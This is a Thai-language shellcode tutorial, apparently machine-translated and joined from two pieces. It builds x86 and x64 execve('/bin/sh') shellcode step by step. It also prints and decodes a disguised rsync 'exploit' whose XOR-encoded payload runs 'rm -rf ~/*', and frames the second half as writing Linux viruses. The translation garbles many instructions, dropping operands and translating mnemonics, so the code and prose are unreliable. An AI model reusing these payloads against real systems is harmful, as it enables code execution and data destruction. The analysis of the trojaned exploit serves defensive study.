ในการแก้ปัญหาแรก เราจะทำให้เชลล์โค้ดของเราสามารถแทรกไบต์ว่างในตำแหน่งที่ถูกต้องในขณะรันไทม์ได้ ในการแก้ปัญหาที่สอง เราจะใช้การกำหนดที่อยู่แบบสัมพันธ์ วิธีคลาสสิกในการเรียกคืนที่อยู่เชลล์โค้ดคือการเริ่มต้นด้วยคำสั่ง CALL ในความเป็นจริง สิ่งแรกที่ CALL ทำคือส่งที่อยู่ของไบต์ถัดไปไปยังสแต็กเพื่อให้สามารถพุช (โดยคำสั่ง RET) ลงใน EIP หลังจากที่ฟังก์ชันที่ถูกเรียกกลับมา การดำเนินการจึงย้ายไปยังที่อยู่ ระบุโดยพารามิเตอร์คำแนะนำการโทร วิธีนี้ทำให้เราได้รับตัวชี้ไปยังสตริงของเรา: ที่อยู่ของไบต์แรกหลัง CALL คือค่าสุดท้ายบนสแต็กและเราสามารถรับมันได้อย่างง่ายดายโดยใช้ POP ดังนั้นแผนเชลล์โค้ดทั่วไปจะเป็นดังนี้:
รายการที่ 12. jmp สั้น mycall ; ข้ามไปที่คำสั่งการโทรทันที shellcode: pop esi ; เก็บที่อยู่ของ "/bin/sh" ใน ESI [...] mycall: call shellcode ; พุชที่อยู่ของไบต์ถัดไปลงบนสแต็ก: db ถัดไป "/bin/sh" ; byte คือจุดเริ่มต้นของสตริง "/bin/sh" |
มาดูกันว่ามันทำอะไร:
ขั้นแรก เชลล์โค้ดจะข้ามไปที่คำสั่ง CALL
- CALL พุชที่อยู่ของบรรทัด /bin/sh ลงบนสแต็ก ซึ่งยังไม่สิ้นสุดด้วยไบต์เป็นศูนย์ คำสั่ง db เพียงเริ่มต้นลำดับของไบต์ จากนั้นการดำเนินการจะข้ามไปที่จุดเริ่มต้นของโค้ดเชลล์อีกครั้ง
- จากนั้นที่อยู่ของสตริงจะถูกดึงออกมาจากสแต็กและจัดเก็บไว้ใน ESI ตอนนี้เราสามารถเข้าถึงที่อยู่หน่วยความจำโดยใช้ที่อยู่สตริง
จากนี้ไป คุณสามารถใช้โครงสร้างเชลล์โค้ดที่เต็มไปด้วยสิ่งที่มีประโยชน์ได้ มาวิเคราะห์การดำเนินการตามแผนของเราทีละขั้นตอน:
ปัด EAX ด้วยศูนย์เพื่อให้พร้อมใช้งานตามวัตถุประสงค์ของเรา
- เราสิ้นสุดบรรทัดโดยคัดลอกศูนย์ไบต์จาก EAX (เราจะใช้การลงทะเบียน AL)
- ลองถามตัวเองว่า ECX จะมีอาร์เรย์ของอาร์กิวเมนต์ที่ประกอบด้วยที่อยู่ของสตริงและตัวชี้ค่าว่าง ภารกิจนี้จะสำเร็จได้โดยการเขียนที่อยู่ใน ESI ลงในสามไบต์แรก จากนั้นตามด้วยตัวชี้ว่าง (ศูนย์นำมาจาก EAX อีกครั้ง)
- บันทึกหมายเลขโทรศัพท์ของระบบใน (0x0b) EAX;
- บันทึกอาร์กิวเมนต์แรกเพื่อ execve(2) (นั่นคือ ที่อยู่สตริงที่จัดเก็บไว้ใน ESI) ใน EBX
- บันทึกที่อยู่อาร์เรย์ใน ECX (ESI + 8)
- บันทึกที่อยู่ของตัวชี้ว่างใน EDX (ESI+12)
- ดำเนินการขัดจังหวะ 0x80
รหัสการประกอบที่ได้จะแสดงในรายการ 13
รายการ 13 รหัสการประกอบที่ทำใหม่ get_shell.asm jmp สั้น mycall ; ข้ามไปที่คำสั่งการโทรทันที shellcode: pop esi ; เก็บที่อยู่ของ "/bin/sh" ใน ESI xor eax, eax ; ไบต์ EAX mov ออกเป็นศูนย์, อัล; เขียนไบต์ว่างที่ส่วนท้ายของสตริง mov dword , esi ; , เช่น. หน่วยความจำที่อยู่ด้านล่างสตริง ; "/bin/sh" จะมีอาร์เรย์ที่ชี้ไปโดย ; อาร์กิวเมนต์ที่สองของ execve(2); ดังนั้นเราจึงเก็บเอาไว้; ที่อยู่ของสตริง... mov dword , eax ; ...และในตัวชี้ NULL (EAX คือ 0) mov al, 0xb ; เก็บหมายเลขของ syscall (11) ใน EAX lea ebx, ; คัดลอกที่อยู่ของสตริงใน EBX lea ecx, ; อาร์กิวเมนต์ที่สองเพื่อดำเนินการ (2) lea edx, ; อาร์กิวเมนต์ที่สามที่ต้องดำเนินการ (2) (ตัวชี้ NULL) int 0x80 ; ดำเนินการระบบ |
โทร mycall: โทรเชลล์โค้ด ; พุชที่อยู่ของ "/bin/sh" ลงบนสแต็ก db "/bin/sh"
มาแยก opcodes กัน รายการ 14:$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ ออก $
ความไว้วางใจเป็นสิ่งที่ดี... ลองดูโค้ดเชลล์จากการใช้ประโยชน์ (http://www.securityfocus.com/bid/12268/info/) ซึ่งเขียนโดย Rafael San Miguel Carrasco มันใช้ประโยชน์จากช่องโหว่บัฟเฟอร์ล้นโปรแกรมเมล
เรามาแยกชิ้นส่วนโดยใช้ ndisasm เราจะได้อะไรคุ้นเคยบ้างไหม? รายการที่ 16.
รายการ 16. การแยกชิ้นส่วนด้วย ndisasm$ เสียงสะท้อน -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp สั้น 0x19 ; ข้ามเริ่มต้นไปที่ CALL 00000002 5E pop esi ; เก็บที่อยู่ของสตริงใน ; ESI 00000003 897608 mov ,esi ; เขียนที่อยู่ของสตริงใน ; ESI + 8 00000006 31C0 x หรือ eax,eax ; ศูนย์ออก EAX 00000008 884607 mov ,al ; ยุติสตริงด้วยค่า Null 0000000B 89460C mov ,eax ; เขียนตัวชี้ว่างไปที่ ESI + 12 0000000E B00B mov al,0xb ; จำนวนผู้บริหาร (2) syscall 00000010 89F3 mov ebx,esi ; เก็บที่อยู่ของสตริงใน ; EBX (อาร์กิวเมนต์แรก) 00000012 8D4E08 lea ecx, ; อาร์กิวเมนต์ที่สอง (ตัวชี้ไปที่ ; อาร์เรย์) 00000015 31D2 xor edx,edx ; ศูนย์ออก EDX (อาร์กิวเมนต์ที่สาม) 00000017 CD80 int 0x80 ; ดำเนินการเรียก syscall 00000019 E8E4FFFFFF 0x2 ; กดที่อยู่ของสตริงและ ; ข้ามไปที่วินาที คำแนะนำ 0000001E 2F das; "/bin/shX" 0000001F 62696E ที่ถูกผูกไว้ ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $ |
...แต่ควบคุมได้ดีกว่า
อย่างไรก็ตาม แนวปฏิบัติที่ดีที่สุดยังคงเป็นนิสัยในการตรวจสอบโค้ดเชลล์ก่อนใช้งาน ตัวอย่างเช่น เมื่อวันที่ 28 พฤษภาคม พ.ศ. 2547 นักเล่นพิเรนได้โพสต์การหาประโยชน์สาธารณะสำหรับ rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html) แต่โค้ดไม่ชัดเจน: ตามส่วนของ รหัสที่มีความคิดเห็นดีมีชิ้นส่วนที่ไม่เด่น รายการ 17
หลังจากดู main() แล้ว เห็นได้ชัดว่าช่องโหว่นี้ทำงานในเครื่อง:
(ยาว) funct = [...] funct();ดังนั้น เพื่อทำความเข้าใจว่าเชลล์โค้ดทำอะไร เราไม่จำเป็นต้องรันมัน แต่แยกชิ้นส่วนมันออก รายการ 18
รายการ 18. รหัสเชลล์ที่แยกชิ้นส่วนและมองเห็นได้ไม่ดี$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp สั้น 0x12 ; ข้ามไปที่ CALL 00000002 5E pop esi ; ดึงที่อยู่ของไบต์ 0x17 00000003 31C9 xor ecx,ecx ; ศูนย์ออก ECX 00000005 B14B mov cl,0x4b ; ตั้งค่าตัวนับลูป (ดู ; inscstruction 0x0E) 00000007 B0FF mov al,0xff ; ตั้งค่ามาสก์ XOR 00000009 3006 xor ,al ; XOR ไบต์ 0x17 พร้อม AL 0000000B FEC8 dec อัล ; ลดมาสก์ XOR 0000000D 46 inc esi ; โหลดที่อยู่ของไบต์ถัดไป 0000000E E2F9 ลูป 0x9 ; เก็บ XORing ไว้จนกระทั่ง ECX=0 00000010 EB05 jmp สั้น 0x17 ; ข้ามไปที่คำสั่ง XORed แรก 00000012 E8EBFFFFFF โทร 0x2 ; PUSH ที่อยู่ของไบต์ถัดไปและ ; ข้ามไปที่คำสั่งที่สอง 00000017 17 pop ss [...] |
อย่างที่คุณเห็น นี่คือเชลล์โค้ดที่แก้ไขได้เอง: คำสั่ง 0x17 ถึง 0x4B จะถูกถอดรหัสขณะรันไทม์โดย XORing ค่าจาก AL ซึ่งถูกเสริมด้วย 0xFF ก่อน จากนั้นจึงลดลงในแต่ละรอบของลูป หลังจากถอดรหัสแล้ว คำสั่งจะถูกดำเนินการ (jmp short 0x17) ลองทำความเข้าใจว่าคำสั่งใดที่ถูกดำเนินการจริง เราสามารถถอดรหัสโค้ดเชลล์ได้โดยใช้ Python รายการ 19
รายการ 19. การถอดรหัสโค้ดเชลล์โดยใช้ Python decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" พิมพ์ "".join()]) |
การดัมพ์ฐานสิบหกจะทำให้เรามีแนวคิดแรก: ดูที่รายการ 20
อืม... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... อย่ามองโลกในแง่ดีเกี่ยวกับโค้ดมากเกินไป! แต่เพื่อความแน่ใจ เรามาแยกชิ้นส่วนกัน รายการ 21
คำสั่งแรกคือคำสั่ง CALL ตามด้วยบรรทัดที่พิมพ์ดัมพ์เลขฐานสิบหกทันที จุดเริ่มต้นของเชลล์โค้ดสามารถเขียนใหม่ได้ด้วยวิธีนี้ ดูรายการ 22
มาบันทึก opcodes โดยเริ่มจากคำสั่ง 0x2a (42) รายการ 23:
รายการ 23. การตรวจสอบว่าฟังก์ชันใดถูกเรียกใช้$ ./decode_exp.py | ตัด -c 43- | ndisasm -u - 00000000 5D ป๊อป ebp ; ดึงที่อยู่ของสตริง; "/bin/sh" 00000001 31C0 xor eax,eax ; ศูนย์ออก EAX 00000003 50 กด eax ; กดตัวชี้ว่างลงบนสแต็ก 00000004 8D5D0E lea ebx, ; เก็บที่อยู่ของ ; "rm -rf ~/* 2>/dev/null" ใน EBX 00000007 53 กด ebx ; และดันมันลงบนสแต็ก 00000008 8D5D0B lea ebx, ; เก็บที่อยู่ของ "-c" ใน EBX 0000000B 53 push ebx ; และดันมันลงบนสแต็ก 0000000C 8D5D08 lea ebx, ; เก็บที่อยู่ของ "sh" ใน EBX 0000000F 53 push ebx ; และดันมันลงบนสแต็ก 00000010 89EB mov ebx,ebp ; เก็บที่อยู่ของ "/bin/sh" ใน ; EBX (หาเรื่องแรกเพื่อดำเนินการ ()) 00000012 89E1 mov ecx,esp ; จัดเก็บตัวชี้สแต็กไปที่ ECX (ESP ; ชี้ไปที่ "sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; หาเรื่องที่สามเพื่อดำเนินการ () 00000016 B00B mov al,0xb ; จำนวน execve() syscall 00000018 CD80 int 0x80 ; ดำเนินการ syscall 0000001A 89C3 mov ebx,eax ; เก็บ 0xb ใน EBX (รหัสทางออก=11) 0000001C 31C0 xor eax,eax ; ศูนย์ออก EAX 0000001E 40 inc eax ; EAX=1 (จำนวนทางออก() syscall) 0000001F CD80 int 0x80 ; ดำเนินการ syscall |
จากนี้เราจะเห็นได้อย่างชัดเจนว่า execve(2) ถูกเรียกพร้อมกับอาร์เรย์ของอาร์กิวเมนต์ sh, -c, rm -rf ~/* 2>/dev/null ดังนั้นการทดสอบโค้ดของคุณก่อนใช้งานจริงจึงไม่เสียหาย!
IoT คือเทรนด์ที่แท้จริงของยุคปัจจุบัน มันใช้เคอร์เนล Linux เกือบทุกที่ อย่างไรก็ตาม มีบทความค่อนข้างน้อยเกี่ยวกับการเขียนไวรัสและการเข้ารหัสเชลล์สำหรับแพลตฟอร์มนี้ คุณคิดว่าการเขียนเชลล์โค้ดสำหรับ Linux นั้นมีไว้สำหรับคนชั้นสูงเท่านั้นหรือไม่? มาดูวิธีเขียนไวรัสสำหรับ Linux กันดีกว่า!
พื้นฐานสำหรับการเขียนไวรัสสำหรับ LINUX
คุณต้องการอะไรในการทำงาน?
ในการคอมไพล์เชลล์โค้ด เราจำเป็นต้องมีคอมไพลเลอร์และตัวเชื่อมโยง เราจะใช้ นาซึมและ แอล- เพื่อทดสอบเชลล์โค้ด เราจะเขียนโปรแกรมขนาดเล็กในภาษาซี เพื่อคอมไพล์เราจำเป็นต้องใช้ จีซีซี- คุณจะต้องมีการตรวจสอบบางอย่าง รัสม์2(ส่วนหนึ่งของกรอบ. เรดาร์2- เราจะใช้ Python เพื่อเขียนฟังก์ชันตัวช่วย
มีอะไรใหม่ใน x64?
x64 เป็นส่วนขยายของสถาปัตยกรรม IA-32 คุณสมบัติที่แตกต่างหลักคือรองรับรีจิสเตอร์วัตถุประสงค์ทั่วไป 64 บิต การดำเนินการทางคณิตศาสตร์และตรรกะ 64 บิตกับจำนวนเต็ม และที่อยู่เสมือน 64 บิต
โดยเฉพาะอย่างยิ่ง รีจิสเตอร์สำหรับวัตถุประสงค์ทั่วไปแบบ 32 บิตทั้งหมดจะยังคงอยู่และมีการเพิ่มเวอร์ชันขยาย ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) และการลงทะเบียนวัตถุประสงค์ทั่วไปใหม่หลายรายการ ( R8, R9, R10, R11, R12, R13, R14, R15).
รูปแบบการโทรใหม่ปรากฏขึ้น (ต่างจากสถาปัตยกรรม x86 ที่มีเพียงสถาปัตยกรรมเดียว) ตามที่กล่าวไว้เมื่อเรียกใช้ฟังก์ชัน แต่ละรีจิสเตอร์จะถูกใช้เพื่อวัตถุประสงค์เฉพาะ กล่าวคือ:
- อาร์กิวเมนต์จำนวนเต็มสี่ตัวแรกของฟังก์ชันจะถูกส่งผ่านรีจิสเตอร์ rcx, rdx, r8และ r9และผ่านทางทะเบียน xmm0 - xmm3สำหรับประเภทจุดลอยตัว
- พารามิเตอร์อื่นๆ จะถูกส่งผ่านสแต็ก
- สำหรับพารามิเตอร์ที่ส่งผ่านรีจิสเตอร์ พื้นที่จะยังคงถูกสงวนไว้บนสแต็ก
- ผลลัพธ์ของฟังก์ชันจะถูกส่งกลับผ่านทางรีจิสเตอร์ แร็กซ์สำหรับประเภทจำนวนเต็มหรือผ่านการลงทะเบียน xmm0 สำหรับประเภทจุดลอยตัว
- รบีพีมีตัวชี้ไปที่ฐานของสแต็กนั่นคือสถานที่ (ที่อยู่) ที่สแต็กเริ่มต้น
- rspมีตัวชี้ไปที่ด้านบนของสแต็กนั่นคือไปยังตำแหน่ง (ที่อยู่) ที่จะวางค่าใหม่
- อาร์ซี่, อาร์ดีใช้ใน ซิสคอล.
เล็กน้อยเกี่ยวกับสแต็ก: เนื่องจากตอนนี้ที่อยู่เป็นแบบ 64 บิต ค่าบนสแต็กอาจมีขนาด 8 ไบต์
ซิสคอล. อะไร ยังไง? เพื่ออะไร?
ซิสคอลเป็นวิธีที่โหมดผู้ใช้โต้ตอบกับเคอร์เนลใน Linux ใช้สำหรับงานต่างๆ: การทำงานของ I/O, การเขียนและอ่านไฟล์, การเปิดและปิดโปรแกรม, การทำงานกับหน่วยความจำและเครือข่าย และอื่นๆ เพื่อให้เสร็จสมบูรณ์ ซิสคอล, จำเป็น:
โหลดหมายเลขฟังก์ชันที่เกี่ยวข้องลงในรีจิสเตอร์ rax
โหลดพารามิเตอร์อินพุตลงในรีจิสเตอร์อื่น
โทรหมายเลขขัดจังหวะ 0x80(เริ่มจากเคอร์เนลเวอร์ชัน 2.6 ทำได้ผ่านการโทร ซิสคอล).
ต่างจาก Windows ที่คุณยังคงต้องค้นหาที่อยู่ของฟังก์ชันที่ต้องการทุกอย่างที่นี่ค่อนข้างเรียบง่ายและรัดกุม
คุณสามารถค้นหาหมายเลขของฟังก์ชัน syscall ที่ต้องการได้ เช่น
ดำเนินการ() |
หากเราดูที่เชลล์โค้ดสำเร็จรูป หลายๆ อันจะใช้ฟังก์ชันนี้ ดำเนินการ()
ดำเนินการ()มีต้นแบบดังนี้
เธอเรียกโปรแกรม FILENAME- โปรแกรม FILENAMEสามารถเป็นได้ทั้งไบนารีที่ปฏิบัติการได้หรือสคริปต์ที่ขึ้นต้นด้วยบรรทัด - ล่าม.
หาเรื่องเป็นตัวชี้ไปยังอาร์เรย์ อันที่จริงนี่ก็เหมือนกัน หาเรื่องซึ่งเราเห็น เช่น ใน C หรือ Python
สิ่งแวดล้อม- ตัวชี้ไปยังอาร์เรย์ที่อธิบายสภาพแวดล้อม ในกรณีของเราไม่ได้ใช้มันจะเป็นเรื่องสำคัญ โมฆะ.
ข้อกำหนดพื้นฐานสำหรับเชลล์โค้ด
มีโค้ดที่ไม่ขึ้นกับตำแหน่ง นี่คือโค้ดที่จะถูกดำเนินการไม่ว่าจะโหลดอยู่ที่ไหนก็ตาม เพื่อให้เชลล์โค้ดของเราถูกดำเนินการที่ใดก็ได้ในโปรแกรม จะต้องเป็นอิสระจากตำแหน่ง
ส่วนใหญ่แล้วเชลล์โค้ดจะเต็มไปด้วยฟังก์ชันต่างๆ เช่น ยืดเยื้อ()- ฟังก์ชั่นที่คล้ายกันใช้ไบต์ 0x00, 0x0A, 0x0Dเป็นตัวคั่น (ขึ้นอยู่กับแพลตฟอร์มและฟังก์ชัน) ดังนั้นจึงเป็นการดีกว่าที่จะไม่ใช้ค่าดังกล่าว มิฉะนั้นฟังก์ชันอาจไม่คัดลอกเชลล์โค้ดทั้งหมด ลองพิจารณาตัวอย่างต่อไปนี้:
$ rasm2 -a x86 -b 64 "กด 0x00" 6a00
$rasm2 - x86 - b 64 "กด 0x00" 6.00 น |
อย่างที่คุณเห็นรหัส กด 0x00คอมไพล์เป็นไบต์ต่อไปนี้ 6 ก. 00- หากเราใช้โค้ดแบบนี้ เชลล์โค้ดของเราจะไม่ทำงาน ฟังก์ชันจะคัดลอกทุกอย่างจนถึงไบต์โดยมีค่า 0x00
คุณไม่สามารถใช้ที่อยู่ "ฮาร์ดโค้ด" ในเชลล์โค้ดได้ เนื่องจากเราไม่ทราบที่อยู่เดียวกันเหล่านี้ล่วงหน้า ด้วยเหตุนี้ สตริงทั้งหมดในเชลล์โค้ดจึงได้รับแบบไดนามิกและจัดเก็บไว้ในสแต็ก
นั่นดูเหมือนจะเป็นทั้งหมด
แค่ทำมัน!
หากคุณอ่านมาไกลขนาดนี้ คุณควรเห็นภาพแล้วว่าเชลล์โค้ดของเราทำงานอย่างไร
ขั้นตอนแรกคือการเตรียมพารามิเตอร์สำหรับฟังก์ชัน execve() จากนั้นวางไว้อย่างถูกต้องบนสแต็ก ฟังก์ชั่นจะมีลักษณะดังนี้:
พารามิเตอร์ที่สองคืออาร์เรย์ หาเรื่อง- องค์ประกอบแรกของอาร์เรย์นี้มีเส้นทางไปยังไฟล์ปฏิบัติการ
พารามิเตอร์ที่สามแสดงข้อมูลเกี่ยวกับสภาพแวดล้อม เราไม่ต้องการมัน ดังนั้นมันจะมีค่า โมฆะ.
ก่อนอื่นเราได้รับศูนย์ไบต์ เราไม่สามารถใช้โครงสร้างเช่น mov eax, 0x00 ได้ เนื่องจากมันจะแนะนำไบต์ว่างในโค้ด ดังนั้นเราจะใช้คำสั่งต่อไปนี้:
xor rdx, rdx
ปล่อยให้ค่านี้อยู่ในการลงทะเบียน rdx- จำเป็นต้องใช้เป็นอักขระท้ายบรรทัดและค่าของพารามิเตอร์ตัวที่สาม (ซึ่งจะเป็นโมฆะ)
เนื่องจากสแต็กขยายจากที่อยู่สูงไปต่ำและฟังก์ชัน ดำเนินการ()จะอ่านพารามิเตอร์อินพุตจากต่ำไปสูง (นั่นคือสแต็กทำงานกับหน่วยความจำในลำดับย้อนกลับ) จากนั้นเราจะใส่ค่ากลับด้านลงในสแต็ก
หากต้องการกลับสตริงและแปลงเป็น ฐานสิบหกคุณสามารถใช้ฟังก์ชันต่อไปนี้ใน Python:
ลองเรียกใช้ฟังก์ชันนี้เพื่อ /ถัง/ช: >>> rev.rev_str(“/bin/sh”)
"68732f6e69622f"
เราได้รับไบต์ว่าง (ไบต์ที่สองจากจุดสิ้นสุด) ซึ่งจะทำลายเชลล์โค้ดของเรา เพื่อป้องกันไม่ให้สิ่งนี้เกิดขึ้น เรามาใช้ประโยชน์จากข้อเท็จจริงที่ว่า Linux ละเว้นเครื่องหมายสแลชตามลำดับ (นั่นคือ /bin/shและ /bin//sh- มันเป็นเรื่องเดียวกัน)
>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"
ไม่มีไบต์ว่าง!
จากนั้นเราจะดูข้อมูลเกี่ยวกับฟังก์ชัน execve() บนไซต์ เราดูที่หมายเลขฟังก์ชันซึ่งเราใส่ไว้ใน rax - 59 เราดูว่ามีการใช้รีจิสเตอร์ใดบ้าง:
รดี- เก็บที่อยู่ของสตริง FILENAME;
อาร์เอส- เก็บที่อยู่ของสตริง argv;
rdx- เก็บที่อยู่ของสตริง envp
ตอนนี้เรามารวบรวมทุกอย่างเข้าด้วยกัน
เราใส่อักขระท้ายบรรทัดลงในสแต็ก (โปรดจำไว้ว่าทุกอย่างทำในลำดับย้อนกลับ):
xor rdx, rdx กด rdx
xor rdx, rdx กด rdx |
วางเชือกไว้บนสแต็ค /bin//sh: mov rax, 0x68732f2f6e69622f
ดันแร็กซ์
รับที่อยู่ของบรรทัด /bin//shบนปึกแล้วดันไปทันที rdi: mov rdi, rsp
ใน rsi คุณต้องวางตัวชี้ไปที่อาร์เรย์ของสตริง ในกรณีของเรา อาร์เรย์นี้จะมีเพียงเส้นทางไปยังไฟล์ปฏิบัติการ ดังนั้นจึงเพียงพอที่จะใส่ที่อยู่ที่อ้างอิงถึงหน่วยความจำซึ่งมีที่อยู่บรรทัดอยู่ (ใน C คือตัวชี้ไปยังตัวชี้) เรามีที่อยู่ของบรรทัดอยู่แล้ว ซึ่งอยู่ในทะเบียน rdi อาร์เรย์ argv ต้องลงท้ายด้วยไบต์ว่างซึ่งเรามีในการลงทะเบียน rdx:
กด rdx กด rdi mov rsi, rsp
กด rdx ดัน rdi mov rsi, rsp |
ตอนนี้ อาร์เอสชี้ไปยังที่อยู่ในสแต็กที่มีตัวชี้ไปยังสตริง /bin//sh.
เราใส่มันเข้าไป แร็กซ์หมายเลขฟังก์ชัน ดำเนินการ (): xor rax, rax
mov อัล, 0x3b
เป็นผลให้เราได้รับไฟล์ดังต่อไปนี้:
คอมไพล์และลิงก์สำหรับ x64 เมื่อต้องการทำสิ่งนี้:
$ nasm -f elf64 ตัวอย่าง asm $ ld -m elf_x86_64 -s -o ตัวอย่าง example.o
$ nasm - ตัวอย่าง elf64 .asm $ ld - m elf_x86_64 - s - o ตัวอย่าง ตัวอย่าง .o |
ตอนนี้เราสามารถใช้ ตัวอย่าง objdump -dเพื่อดูไฟล์ผลลัพธ์